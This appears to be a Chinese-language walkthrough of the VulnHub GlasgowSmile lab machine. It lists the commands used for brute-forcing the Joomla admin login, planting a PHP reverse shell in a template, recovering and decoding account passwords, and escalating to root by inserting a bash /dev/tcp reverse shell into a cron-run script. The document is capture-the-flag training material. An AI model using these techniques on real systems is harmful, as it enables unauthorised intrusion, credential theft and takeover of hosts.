今天實踐的是vulnhub的GlasgowSmile鏡像,

下載地址,https://download.vulnhub.com/glasgowsmile/GlasgowSmile-v1.1.zip,

用workstation打開,直接從console上看到了地址,192.168.177.134,

繼續做端口掃描,sudo nmap -sS -sV -T5 -A -p- 192.168.177.134,

有web服務,進行目錄掃描,dirb http://192.168.177.134,

瀏覽器訪問,http://192.168.177.134/joomla,

瀏覽器訪問,http://192.168.177.134/joomla/administrator,

爬取密碼字典,cewl http://192.168.177.134/joomla > dict.txt,

用Burp Suite的Intruder進行密碼破解,取變量,

導入字典,

確認了用戶名密碼,joomla/Gotham,

瀏覽器登錄,http://192.168.177.134/joomla/administrator,

取web shell內容,

cat /usr/share/webshells/php/php-reverse-shell.php,

填到templates/protostar/index.php里,

kali攻擊機上開啟反彈shell監聽,nc -lvp 4444,

瀏覽器訪問http://192.168.177.134/joomla/templates/protostar/index.php,獲取到反彈shell,

當前賬戶下查找到數據庫的用戶名密碼,joomla/babyjoker,

訪問數據庫,

查找到rob賬戶的密碼,是base64編碼的,

解碼得到明文,???AllIHaveAreNegativeThoughts???,

echo Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/ | base64 -d,

切換到rob賬戶,su rob,獲取到加密信息,

訪問https://gchq.github.io/CyberChef,

使用ROT13 Amount=1解密,

獲取到賬戶abner的密碼,也是base64加密的,

解碼得到明文,I33hope99my0death000makes44more8cents00than0my0life0,

echo STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA== | base64 -d,

切到abner賬戶,su abner,

獲取到一個壓縮文件,靶機上沒有權限解壓,下載到kali攻擊機上解壓,

獲取到penguin賬戶和密碼scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz,

這回ssh登錄到靶機,

下載pspy64,wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64,

查看到定時執行的程序,

把反彈shell腳本添加到定時執行的程序里,

bash -c 'bash -i &>/dev/tcp/192.168.177.131/8888 0>&1',

過一會兒反彈shell就過來了,id確認是root,